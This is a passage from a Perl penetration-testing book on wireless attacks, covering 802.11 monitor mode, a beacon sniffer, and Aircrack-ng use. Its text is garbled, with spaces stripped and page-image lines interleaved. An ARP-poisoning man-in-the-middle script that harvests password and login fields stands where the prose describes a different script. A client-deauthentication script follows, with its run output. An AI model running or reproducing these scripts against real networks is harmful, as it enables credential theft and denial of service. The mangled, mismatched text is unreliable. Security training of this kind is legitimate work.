*STBCbeacon:0
*L-SIGTXOPProt:0
*PCOactive:0
*PCOphase:0
SecondaryChannelOffset:nosecondary(0)
![Page 134: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/134.jpg)
RSN:*Version:1
*Groupcipher:CCMP
root@wnld960:~#iwdevwlan0info
Interfacewlan0
ifindex15
wdev0x500000001
addr00:c0:ca:53:01:82
typemanaged
wiphy5
channel1(2412MHz)NOHT
root@wnld960:~#
Theprecedingcommand’soutputistypicalofasimplescanusingiw.WecanseefromthefirstcalltoiwthatwereceivedalotofinformationabouttheAPfromtheAPitself.ThesecondcalldisplaysdataaboutthelocalWNICdevice,wlan0.ThisinformationcanbeveryeasilyparsedusingourknowledgeofregularexpressionstofindthedeviceorAPpropertiesquicklyinourPerlprograms.
ThedownfalltousingthismethodforfindinganAPisthatthetypeofscaniwusesdoesnotrelysolelyonsniffingpackets.Thestationsendsan802.11managementframewiththesubtypeof0x04,whichisforProbeRequesttothebroadcastaddressff:ff:ff:ff:ff:ff,andlistensforinvokedProbeResponses,whicharemanagementframeswithasubtypeof0x05.WecanseethistypeofdiscoverymethodcommonlyusedwhenanywirelessdevicesearchesforthesurroundingAPs.Thiskindofscanningiscalledactivescanning,andwecancertainlyusemorestealthwhensearchingfortargetAPs.Thealternativeistosniffbeaconpackets,whicharealsomanagementframes,butareofthesubtype0x08,aswecanseefromtheprecedingoutput.
Beaconsareusedbywirelessaccesspointsforlocaltimeclocksynchronizationandidentitypurposes.Byusingthedefaultconfiguration,abeaconcanbesentfromanAP,announcingitspresenceaboutevery100milliseconds(10/sec),andcontainsawealthofAPcapabilityandidentityinformation.SniffingabeaconoranyotherframewithouthavingtointeractwiththeAPiscalledpassivescanning.ThistypeofscanningutilizesadifferentmodefromtheWNIC,calledtheRadioFrequencyMonitor(RFMON)mode.
RFMONdiffersfromthepromiscuousmodethatweusedinChapter4,IEEE802.3WiredNetworkManipulationwithPerl,forpacketcapturing,asitcansniffanytrafficwithouthavingtobeassociatedwithanAP.Thisisobviouslythebetterchoiceofthetwo,aswewanttointeractaslittleaspossiblewithapotentiallytraffic-loggingAP,orawirelessintrusiondetectionsystem(WIDS).AnothergreatthingaboutRFMONisthatwecanpullAPinformationfromanytypeofframeandnotjustbeacons.ForadevicetousetheMonitormodeinordertosendandreceivepackets,thedrivermustsupportit.WirednetworksdonothaveaMonitormode,hencethenameRFMON,whichcontainsradiofrequency.TocheckifourdeviceisRFMON-compatible,weneedtoattempttosetittotheRFMONmodewiththefollowingcommandsthatareprovidedbytheAircrack-ngsuite:
root@wnl:~#airmon-ngstart<device><channel>
ThiscommandwillsetthedeviceintotheMonitormode,createavirtualaccesspoint(VAP),orreturnanerror.TheVAPdeviceisavirtual802.11radio,whichisinthe
![Page 135: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/135.jpg)
RFMONmode.
Let’snowturnourattentiontosettingourdeviceusingNet::Pcaptosniff802.11beaconframes.
![Page 136: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/136.jpg)
802.11packetcapturingwithPerlTosniffpacketsinPerlonaWNIC,let’suseRFMONonourdevice.Westartbywritingasmallscripttocheckthemodeandenableitifnotyetenabled.Wewillbeusingiwagain,andwewillcreateaVAPdevicefromourWNIC.Let’sfirstusePerltolistthelocal802.11devicesandthencreateaVAPonourwlan0:
NoteTheseexercisesarestrictlyforustolearnhowtostepthroughthepacketsonaper-bytebasisandextractinformationasweseefit.Noteverysystemwillbethesameinthisaspect,assomekerneldriversandmodules,hardwarefirmware,andothersoftwarelibrariesusedintheseexamplesmightaffectthebeginningoffset.Asstatedinanearlierchapter,itisbesttoworkcloselywithWiresharkwhendevelopingtheseprojectsinordertodebuganysemanticerrorsthatmayoccur.#!/usr/bin/perl-w
usestrict;
usewarnings;
useNetPacket::TCP;#packetdisassembly
useNet::Pcap;#sniffing
useNet::ARP;#craft,sendARPtotarget
useNet::Frame::Device;#getlocalMAC
my$usage=“perlmitm.pl<targetIP><targetMAC><gatewayIP>\n”;
my$targetIP=shift||die$usage;
my$targetMAC=shift||die$usage;
my$gatewayIP=shift||die$usage;
my($net,$mask,$filter,$err)=““x4;
my$dev=pcap_lookupdev(\$err);
my$myDevProp=Net::Frame::Device->new(dev=>$dev);#getmyMAC
pcap_lookupnet($dev,\$net,\$mask,\$err);
my$pcap=pcap_open_live($dev,65535,1,4000,\$err);
pcap_compile($pcap,\$filter,“port80orport443orarp”,1,$mask)&&die
“cannotcompilefilter”;
pcap_setfilter($pcap,$filter)&&die“cannotsetfilter”;
my$dumper=pcap_dump_open($pcap,“output.cap”);
print“SendinginitialARPtopoisonvictim.\n”;
&sendARP;
print“Listeningforport80,443andARP…\n”;
pcap_loop($pcap,-1,\&cap,0);
subcap{
my($user_data,$hdr,$pkt)=@_;
my$type=sprintf(“%02x%02x”,unpack(“x12C2”,$pkt));
if($typeeq“0806”){#wehaveanARP
#isitours?
if(sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,unpack(“C6”,$pkt))eq
$myDevProp->mac){
if(sprintf(“%02x%02x”,unpack(“x20C2”,$pkt))eq“0001”){#RequestARP
![Page 137: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/137.jpg)
print“[-]gotrequestfromtarget,sendingreply\n”;
&sendARP;#opCode1(reply)
return;
}
}
}else{#elseshouldbe80or443ports:
pcap_dump($dumper,$hdr,$pkt);#haven’tdied,sosaveit
my$len=length($pkt);
my$string=””;
for(my$i=0;$i<=$len;$i++){
$string.=pack‘H*’,unpack(“H2”,substr($pkt,$i,1));#perbyte
}
$string=~s/\R//g;
print“\n”,$string,”\n”if($string=~m/passw(ord)?=/ior$string=~
m/user(name)?=/ior$string=~m/login=/i);
}
}
subsendARP{
Net::ARP::send_packet(
$dev,
$gatewayIP,
$targetIP,
$myDevProp->mac,
$targetMAC,
“reply”)||die“cannotsendspoofedARPreplypacket\n”;
return;
}
END{
pcap_close($pcap)if($pcap);
pcap_dump_close($dumper)if($dumper);
print“Exiting.\n”;
}
Intheprecedingcode,wesimplyopenedafewdirectoriesandfilestoparseouttheinformationaboutourlocalWNICdevices.ThePHYindexvariable,$wiphy,isthenusedtocreateaVAPdeviceonourAlfaWNICadapterusingtheiwutility.Thereasonweusethewhyloopthroughandincrement$mcwithuntil()isbecauseVAPscanbedestroyedwiththefollowingcode:iwdevmonXdel
ByreplacingXwiththenumberpresentinanyadapter’slabelname,wecanremoveit.Theuntil()functionmakessurethattheVAPlabelmonXisnotalreadyinuse,byusinggrep()[email protected]’stakealookatanoutputfromthisPerlprograminourlab:
root@wnld960:~#perlsysClassNet.pl
[*]availabledevices:
wlan0Driver:rtl8187PHY:5
[?]WhichdeviceshallwecreatetheVAPon?wlan0
[*]Creatingdevicemon0fromwlan0
Interfacemon0
ifindex22
wdev0x500000008
![Page 138: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/138.jpg)
addr00:c0:ca:53:01:82
typemonitor
wiphy5
channel1(2412MHz)NOHT
[*]Completed
root@wnld960:~#
Theprecedingoutputshowsusthatanewdevicemon0wascreated,andthetypevaluefromiwisreturnedasmonitortoconfirmRFMONbeforeclosing.
Anotherthingthatiwcandoissetthe802.11frequencythatwewanttolistenforthepacketson.Thisisimportanttolockintoafrequencyorchannelofourtargettolistentoalltargettrafficandnotjustwhatwecanpickupfromradiointerference.Let’swriteasmallscriptinPerlthatwillchangeourchannel:#!/usr/bin/perl-w
usestrict;
my$usage=“Usage:perlchannel.pl<dev><channel>”;
my$dev=shiftordie$usage;#WNIC
my$ch=shiftordie$usage;#channel
die“[!]Specifyachannelwithinrange:1-11”unlessgrep(/$ch/,1..11);#
specifyUSchannel
my$freq=2412+($ch-1)*5;#math
print“[*]Setting“,$dev,”tofrequency:”,$freq,”\n”;
system(“iwdev“.$dev.”setfreq“.$freq.”iwdev“.$dev.”info”);
Thisnewcodeusesiwtochangethe802.11channelofourspecifiedwirelessadapterandthendisplaystheadapter’sinformationsothatwecanverifythechangewithourowneyes.
Theequationthatwehavecreatedsimplytakesthefirstchannel,1or2412.Itthenmultipliestheinputchannelintegerby5,since802.11channelsare5MHzapart,afterremoving1.
Ifwewanttoperformchannelhopping,ortheactofchangingthe802.11channelonanintervalbasis,totrytocaptureasmuchinformationaboutthesurroundingAPsaspossible,wecansimplewriteafor()loopthatcallssleep(),andthenchangeeachchannel.Wecanrunthisinthebackgroundfromanotherterminalandusefork()aswecapturepackets.
NowthatwehaveachievedtheRFMONMonitormodeandselectedafrequencytoscan,wecanbeginsniffingthe802.11trafficwithournewmon0device.First,wewillonlysniffforbeaconframesinordertogatherinformationaboutallsurroundingAPs.Beforedoingthis,weneedtotakealookatthe802.11frameheaders.
![Page 139: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/139.jpg)
802.11frameheadersIfweanalyzean802.11packetinWireshark,wemightseeanewheadercalledRadiotapHeader.ThistypeofheaderiscapturedandaddedtotheframebytheGNULinuxkernelanddriverssothatwecaneasilyobtainstatisticalandphysicalnetworkinformation.Inourexamples,thisnewheaderwillbe26bytesandincludeinformationsuchasthefollowing:
TherevisionnumberThelengthofRadiotapHeaderFlags,whichareusedtoeasilydetermineifthecurrentversionofRadiotapHeaderisbeingusedbyourdriversthatcontaincertainfieldsThe802.11channeltypeanditsmanypropertiesReceivedSignalStrengthIndicator(RSSI)Theantennaisbeingused
Let’stakeapeekatRadiotapHeaderusingtheWiresharkutility:
Intheprecedingscreenshot,weseeRadiotapHeaderfromanArrisAP,thesameonethatweusedinourbruteforceattackinChapter3,IEEE802.3WiredNetworkMappingwithPerl.AfterRadiotapHeader,weseethebasic802.11frameMACheader,whichincludesinformationsuchasthetransmitterMACaddress,thedestinationMACaddress,whetherthepacketisgoingtoorcomingfromtheDistributionSystem(DS),BSSID
![Page 140: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/140.jpg)
(MACofAP),andmore.Thisheaderisvariableinlengthaccordingtotheframe’stype,forexample,data,control,ormanagement.Thismeansthatwhileweusepcap_open_live()fromtheNet::Pcapclass,weshouldnotspecifyasmallerSNAPLENcapturesize.Ifwedo,andtheframewecaptureislargerthantheSNAPLENvalue,theframewillbetruncated,whichwillhinderouraccuracywhileparsingthepackets.
There’snothingaftercontrolframeheaders.Ifthisisamanagementframe,however,anotherframeheaderwillbeappendedwiththefollowingfixedandtaggedparameters.Fixedparameters,orfixedcomponents,areknown,andtheyarefixedinlengthanddatarepresentation.WecansettheoffsetfromthebeginningofthepacketandstepthroughthefieldsbyparsingoutthedatawithPerlandtheNet::Pcapclass.Thetaggedparameters,however,canhaveavariablelengthandcontainatagnumberandtaglengthbeforeeachparameter’sset.Weusethesetwousefulpiecesofdatatomapexactlywherewewanttoparsethefieldsinthepacketandwhenwewanttostop,aswetraversethroughthepacketonaper-bytebasis.
Also,afewmorethingstonotebeforewegohikingthroughan802.11packetisthatournormal$pcapobjectfromourpreviousexamples’data-linktypecanchange.Wewillsetpcap_set_datalink()toDLT_IEEE802_11.TheReceivedSignalStrengthIndicator(RSSI)isahexadecimalvalueandisthedifferenceofthisvalueminus256.ThisleavesuswithanegativenumberinDecibel-milliwattsdBm.Also,sofarwehaveassumedthatthetransmissionofbitsinournetworktraffichasbeenthebig-endianformat.Thisisnotnecessarilytruefor802.11.Thetransmissionorderofsomeofthebytesisinthelittle-endianformat.Thismeansthatavalueof,say,2bytescanbeorderedastheleastsignificantbytefirst.Wecanchecktheendiannessofthereturnedpacketobjectswiththepcap_is_swapped()method.Theendiannessisimportantforsomeofthefixedfieldsinframeheaders,andwewillseeafewofthemafterwritingoursnifferinthenextsection.
![Page 141: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/141.jpg)
Writingan802.11protocolanalyzerinPerlNowthatwehaveskimmedoverafewimportantnoteson802.11packetanalysis,wecanstartcodingan802.11packetsniffer.Asofnow,wewillonlybesniffingforbeaconpackets.
TipRememberbackin2006whenaGoogleengineerthoughtitwasagoodideatoadd802.11packetsniffingcapabilitiestotheGoogleStreetViewCars,andGoogleclaimeditwasan“accident?”GoogleclaimedthattheengineeractuallyonlywantedBSSIDandESSIDtraffic.Well,Googlewaslaterhitwithaclassactionwiretaplawsuit.Howcouldthishavebeenprevented?Thiscouldbedonebytakingtimeandwritingabeaconsniffertogetthesameinformation.TheonlythingmissingwillbemaskedESSIDs.Thesearerecoveredfromotherpackettransactionsfromclientstations,which,ifwegiveGooglethebenefitofdoubt,theywerelookingforinsteadofourpasswordsande-mail!
Youcanrefertohttp://googleblog.blogspot.com/2010/05/wifi-data-collection-update.htmlandhttp://www.pcmag.com/article2/0,2817,2387932,00.aspformoredetails.
Wewillbreakupthiscodeintoafewsections;thefirstwillbetheassignmentofglobalvariablesandthemainbodyofthesniffer:#!/usr/bin/perl-w
usestrict;
useNet::Pcapqw(:functions);
#FrameisRadioTapHeader,IEEEBeacon,IEEEMGMT
my($addr,$net,$mask,$err)=““x4;
my$usage=“Usage:perlsniff80211.pl<device>\n“.
“*devicemustbeinmonitormode\n*e.g.”.
”airmon-ngstartwlan0\n”.
“*oriwconfigwlan0modemonitor\n”;
die$usageunlessmy$dev=$ARGV[0];#deviceinmonitormode
#250bytesshouldsufficefortheBeaconframelength:
my$pcap=pcap_open_live($dev,2048,1,0,\$err);
pcap_set_datalink($pcap,‘DLT_IEEE802_11’);#802.11datalink
my%channels=(#channelsHash
“2.412”=>1,“2.417”=>2,“2.422”=>3,“2.427”=>4,
“2.432”=>5,“2.437”=>6,“2.442”=>7,“2.447”=>8,
“2.452”=>9,“2.457”=>10,“2.462”=>11,“2.467”=>12,
“2.472”=>13);
my%supRates=(#SupportedRatesHash
“82”=>“1(B)”,“84”=>“2(B)”,“8b”=>“5.5(B)”,
“96”=>“11(B)”,“24”=>“18”,“30”=>“24”,
“48”=>“36”,“6c”=>“54”);
my%tagNums=(#TagNumbersHash
“47”=>“ERPInformation”,“74”=>“OverlappingBSSScanParameters”,
“0”=>“ESSID”,“1”=>“SupportedRates”,“3”=>“DSParameter”,
“50”=>“ExtendedSupportedRates”,“7”=>“CountryInformation”,
“5”=>“TIM”,“42”=>“ERPInformation”,“45”=>“HTCapabilities”,
“61”=>“HTInformation”,“127”=>“ExtendedCapabilties”,
![Page 142: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/142.jpg)
“221”=>“VendorSpecific”,“48”=>“RSNInformation”,“11”=>“QBSS”);
my%bssids;#hashfordeduplication
unless(defined$pcap){#tryrfmonwith“airmon-ngstart<device>”command
die‘Unabletocreatepacketcaptureondevice‘,$dev,‘-‘,$err;
}
my$dumper=pcap_dump_open($pcap,“output.cap”);
pcap_loop($pcap,-1,\&cap802,”);
WehaveactuallycoveredmostoftheNet::Pcapcodeinourpreviouspacketsniffersinthepreviouschapters.The%tagNumshashwillbeusedtodisplaythetaggedparameters’output,whichisatitlestringlinkedtoaninteger.Thesupportedrateshash%supRatesisusedtotranslatethehexadecimalvalueofthesupportedratesintohuman-readablestrings.The$dumperobjectfromthepcap_dump_openmethodcreatesanoutput.capfiletowritepacketsto.ThesepacketscanbeanalyzedlatertodebugourcodeusingapacketparsingtoolsuchasWireshark.Nowwecanturnourattentiontothefirstsubroutine,thepcap_loop()method’scallbackfunction:subcap802{
my($user_data,$hdr,$pkt)=@_;
pcap_dump($dumper,$hdr,$pkt);#savethepacket
#thesenextfewfieldsarenotvariableinlength“IEEEBeaconframe”
returnif(hex(unpack(“x26h2”,$pkt))!=8);#littleendianformat
(Hexadecimalstring,lowestbitsfirst)
my$ch=unpack(“x19H2”,$pkt).unpack(“x18H2”,$pkt);#2bytestotal
$ch=hex($ch);#pulloutdecimalvalue
$ch=~s/([0-9])([0-9]+)/$1.$2/;#parseforhumanreadableform
my$bssid=unpack(“x36H12”,$pkt);
$bssid=~s/([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]
{2})([a-f0-9]{2})/$1:$2:$3:$4:$5:$6/i;
returnifexists$bssids{$bssid};#alreadylogged
print“BSSID:“,$bssid,”CH:“,$ch,”(“,$channels{$ch},”)\n”;
my$nextTag=62;#802.11FrameTagsstarthere
my$tagNum=1;#cannotstartwith0forwhileloop
while($tagNum){
my$template=“x”.$nextTag.”H2”;
my$tagNum=hex(unpack($template,$pkt));#onebyte
++$nextTag;#getlengthbyte
$template=“x”.$nextTag.”H2”;
++$nextTag;#gotlength,goforfirstbyteofTagData
lastif($nextTag>=length($pkt));#importantforvariabledataread
my$tagLen=hex(unpack($template,$pkt));
lastif($nextTag+$tagLen>length($pkt));#importantforvariablelength
print“TN(“,$tagNum,”)”;#printtheTagNumber
print”(“,$tagNums{$tagNum},”)”ifexists$tagNums{$tagNum};
print”->TL(“,$tagLen,”)“;#PrinttheTagLength(inbytes)
printretByteStr($nextTag,$tagLen,$tagNum,$pkt);#printpackettagas
string
print“\n”;#clearline
$nextTag+=$tagLen;#setupfornexttag
}
print“\n”;#spacebetween
return;
}
Thisisthecap802()subroutinethatpcap_open_live()callseachtimeitreceivesa
![Page 143: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/143.jpg)
packet.Ifthesubtypedoesnotequal8,forabeaconpacket,thenwesimplyreturnfromthecallbackroutine.Wecheckthiswiththisline:returnif(hex(unpack(“x26h2”,$pkt))!=8);
Hereisourfirstexampleofavaluefieldinthelittle-endianformat.Thelowercaseh,intheunpack()template,isusedtoswapthebitsforournewlittle-endianformat.Theactualpacketinourlabsystemhasthehexvalueof80atthetwenty-seventhbyteoffset,aswecanseefromthefollowingWiresharkscreenshot:
Thisisthelittle-endianoutputofoursubtypeinWireshark.Anotherfieldwithswappedbytesisforthechannel,orthe802.11frequency.Inourcase,channel1(2.412GHz)isrepresentedintheframeasbytes6cand09.Weuseunpackonthenineteenthbytefirstandthenagainontheeighteenthone,andappendthetwo,whichbecomes0x096c.Wethencallhex()onthisvalueanddisplaythehuman-readablefrequency2,412.
WecanseethatwealsouseanadvancedregularexpressiontoparseouttheBSSID,whichinvolvestheuseofbackreferencesthatwelearnedaboutinChapter1,PerlProgramming.Movingalongtoournextsubroutine,weseehowwemapoutthefielddataoftaggedparametersusingthefollowingcode:subretByteStr{#createstringfromtags
my($nextTag,$tagLen,$tagNum,$pkt)=@_;
my$type=””;
$type=“ESSID:”if($tagNum==0);
$type=“SupRates:”if($tagNum==1);
my$template;
my$byteStr=$type;#stringtoreturn
for(my$i=$nextTag;$i<($tagLen+$nextTag);$i++){
if($tagNum==0){#ESSID
$template=“x”.$i.”C2”;
if($tagLen>0){
$byteStr.=sprintf(“%c”,unpack($template,$pkt));
}else{#0bytesornulled:
![Page 144: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/144.jpg)
$byteStr=“<hidden>”;
last;
}
}elsif($tagNum==1){#SupportedRates
$template=“x”.$i.”H2”;
$byteStr.=$supRates{unpack($template,$pkt)}.”,”if
exists($supRates{unpack($template,$pkt)});
}else{
$template=“x”.$i.”H2”;
$byteStr.=unpack($template,$pkt).”“;
}
}#putappendageshere:
$byteStr.=”[Mbit/sec]”if($tagNum==1);
return$byteStr;
}
TheretByteStr()subroutineisusedtoconstructastringfromthetaggedparameter’soffset,length,andnumber.ThetagnumberiswhatwehaveinthePerlhash,%tagNums,associatedwiththenumberreturnedfromthepacket.Wehavealreadygoneoverthiscode,solet’sfinallytakealookatthefollowingEND{}block:END{
pcap_close($pcap)if$pcap;
pcap_dump_close($dumper)if($dumper);
print“Exiting.\n”;
}
InthiscompoundstatementEND,weclosethepacketcapturedescriptoranddumpfiles.WehavefinallyfinishedwithourPerl802.11protocolanalyzer.Let’stakealookatwhatistheoutputproducedinourlab:BSSID:00:1d:d0:f6:94:b0CH:2.462(11)
TN(0)(ESSID)->TL(4)ESSID:wnlc
TN(1)(SupportedRates)->TL(8)SupRates:
1(B),2(B),5.5(B),11(B),18,36,54,[Mbit/sec]
TN(3)(DSParameter)->TL(1)03
TN(50)(ExtendedSupportedRates)->TL(4)8c98b060
TN(7)(CountryInformation)->TL(6)555320010b14
TN(5)(TIM)->TL(4)000100a0
TN(42)(ERPInformation)->TL(1)04
TN(45)(HTCapabilities)->TL(26)0c0017ffff000000000000000000
000000000000000000000000
TN(61)(HTInformation)->TL(22)0303040000000000000000000000
0000000000000000
TN(127)(ExtendedCapabilities)->TL(1)01
TN(48)(RSNInformation)->TL(20)0100000fac040100000fac0401
00000fac020000
TN(221)(VendorSpecific)->TL(24)0050f2020101800003a4000027
a4000042435e0062322f00
TN(11)(QBSS)->TL(5)050022127a
TN(221)(VendorSpecific)->TL(7)000c4303000000
Theoutputisjustasweexpected.Wehavewrittenourfirst802.11protocolanalyzerinPerl!Nowthatweknowhowtostepthroughthepacketdataonaper-bytebasis,howtoturnfieldsintostringsandnumbers,andtheincrediblepowerofregularexpressions,wecandoanythingwithoursniffingapplication.Theskyis,literally,nolimitforus.With
![Page 145: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/145.jpg)
thisdata,wecanpasssomeofittotheAircrack-ngsuitetoinjectorreplaypackets,crackWEP/WPA/WPA2encryption,andmuchmore.WewillbeusingAircrack-ngtoinjectpacketsinthenextsection.
TipRememberthatwhenwritinganyapplicationthatusesNet::Pcap,it’ssometimesbesttodouble-checkourresultsanddebugourcodeusinganalreadyestablishedpacketcaptureutility,suchasWireshark.
NowthatwehavegatheredinformationaboutourAPusingPerl,let’stakealookathowwecanusethisdatawithAircrack-ng.
![Page 146: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/146.jpg)
PerlandAircrack-ngInthissection,wewillbeusingtheAircrack-ngsuiteandtwospecifictoolsfromit,Airodump-ngandAireplay-ng.Airodump-ngisan802.11protocolanalyzerthatparsesoutinformationfromnearbywirelesstraffic.ItalsohasthewonderfulabilitytoparsethisdataintoaCSVfile,whichwecaneasilyusewithPerl.Forinstance,ifwedonotwanttoreinventthe802.11packetsnifferwheel,butwewanttorepresentstatisticaldatafromaparticularAPorasetofAPsfromatarget,wecanrunAirodump-ng,asshowninthefollowingcommand:
root@wnld960:~#airodump-ng-wairmon0
CH11][Elapsed:4s][2014-05-0302:49
BSSIDPWRBeacons#Data,#/sCHMBENCCIPHERAUTH
ESSID
00:1D:D0:F6:94:B0-61400354eWPA2CCMPPSK
wnlc
00:1F:90:F6:AC:74-1510001154.WEPWEPWeakNetLabs
^C
root@wnld960:~#ls
air-01.capair-01.csvair-01.kismet.csvair-01.kismet.netxml
ThisoutputfromAirodump-ngshowsusthatafewfileswerecreated.Theair-01.csvfilecontainsthefollowingtext:BSSID,Firsttimeseen,Lasttimeseen,channel,Speed,Privacy,Cipher,
Authentication,Power,#beacons,#IV,LANIP,ID-length,ESSID,Key
00:1F:90:F6:AC:74,2014-05-0302:49:48,2014-05-0302:49:51,11,54,WEP,
WEP,,-15,10,0,0.0.0.0,11,WeakNetLabs,
00:1D:D0:F6:94:B0,2014-05-0302:49:48,2014-05-0302:49:52,3,54,WPA2,
CCMP,PSK,-61,4,0,0.0.0.0,4,wnlc,
ThisCSVfileisconstantlyupdatedfromAirodump-ng,andwecanreaditfromPerlwhileit’sbeingwrittento,withoutanyproblem.Consideringournewregularexpressionknowledge,thisisveryuseful!Forinstance,thebottomportionoftheCSVfilecontainsinformationaboutwirelessstationsassociatedandauthenticatedwithourtargetAP.WecanwriteascriptthatsimplywaitsuntiltheCSVfileseesaclient,usestheinformationabouttheclienttosendtoAireplay-ng,whichisusedforpacketinjection,thendeauthenticatesthestation,eitherforDoSortosimplycaptureanEAPOLWPA2handshaketransactionwhentheclientreconnects.Let’sfinallytakeaquicklookathowwecanwritethisprogramusingPerl:#!/usr/bin/perl-w
usewarnings;
usestrict;
#aireplay-ng-01-a<BSSID>-c<ClientMAC>-e<ESSID><WNIC>
my$usage=“perldropcli.pl<BSSID><CSVFile><dev>”;
my$bssid=shiftordie$usage;
my$csvFile=shiftordie$usage;
my$dev=shiftordie$usage;
my@csvLines;
my$essid;
my@cli;
![Page 147: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/147.jpg)
open(CSV,$csvFile)||die“CannotopenCSVfile”;
push(@csvLines,$_)while(<CSV>);
closeCSV;#completed
foreach(@csvLines){
if($_=~m/^\s*[a-f0-9]{2}:/i&&!$essid){
my@csvSplit=split(/,/,$_);
($essid=$csvSplit[13])=~s/(^\s*|\s*$)//;
die“CouldnotgatherESSIDinfo”if$essideq””;
}elsif($_=~m/^\s*[a-f0-9]{2}:/i){
my@cliSplit=split(/,/,$_);
push(@cli,$cliSplit[0]);
}
}
foreachmy$cli(@cli){#loopthroughanddropclients
print“[!]De-Authenticating:“,$cli,”ESSID:“,$essid,”BSSID:
“,$bssid,”\n”;
system(“aireplay-ng-01-a“.$bssid.”-c“.$cli.”-e“.$essid.”“.$dev);
}
Theprecedingcodesimplyreadsafilewithregularexpressions.ThefirstlineaftercallingstrictisacommentthatreferstotheAireplay-ngcommand-lineargumentsyntax.WeparseouttheESSIDfromthefirstlineinthefilethathastheBSSID,whichisthebasicAPinformationline.Then,westartparsingoutclientswiththeremaininglinesaftertestingaregularexpressionfortheirMACaddresses.Witheachclientfound,wepassallofourdatatotheAireplay-ngtoolfromtheAircrack-ngsuite.Now,let’stestit:
root@wnld960:~#perldropcli.pl00:1D:D0:F6:94:B0wnlc-01.csvmon0
[!]De-Authenticating:6C:70:9F:47:DC:7BESSID:wnlcBSSID:
00:1D:D0:F6:94:B0
23:39:18Waitingforbeaconframe(BSSID:00:1D:D0:F6:94:B0)onchannel3
23:39:19Sending64directedDeAuth.STMAC:[6C:70:9F:47:DC:7B][7|56
ACKs]
[!]De-Authenticating:10:40:F3:BF:4B:16ESSID:wnlcBSSID:
00:1D:D0:F6:94:B0
23:39:19Waitingforbeaconframe(BSSID:00:1D:D0:F6:94:B0)onchannel3
23:39:20Sending64directedDeAuth.STMAC:[10:40:F3:BF:4B:16][45|55
ACKs]
[!]De-Authenticating:BC:52:B7:A8:81:8AESSID:wnlcBSSID:
00:1D:D0:F6:94:B0
23:39:20Waitingforbeaconframe(BSSID:00:1D:D0:F6:94:B0)onchannel3
23:39:20Sending64directedDeAuth.STMAC:[BC:52:B7:A8:81:8A][18|52
ACKs]
[!]De-Authenticating:48:9D:24:77:17:9AESSID:wnlcBSSID:
00:1D:D0:F6:94:B0
23:39:20Waitingforbeaconframe(BSSID:00:1D:D0:F6:94:B0)onchannel3
23:39:21Sending64directedDeAuth.STMAC:[48:9D:24:77:17:9A][49|53
ACKs]
[!]De-Authenticating:40:F0:2F:45:24:64ESSID:wnlcBSSID:
00:1D:D0:F6:94:B0
23:39:21Waitingforbeaconframe(BSSID:00:1D:D0:F6:94:B0)onchannel3
23:39:22Sending64directedDeAuth.STMAC:[40:F0:2F:45:24:64][9|50
ACKs]
root@wnld960:~#
WecanseethatwegotACKpacketsfromtheclientsandfromtheAPaftersending64
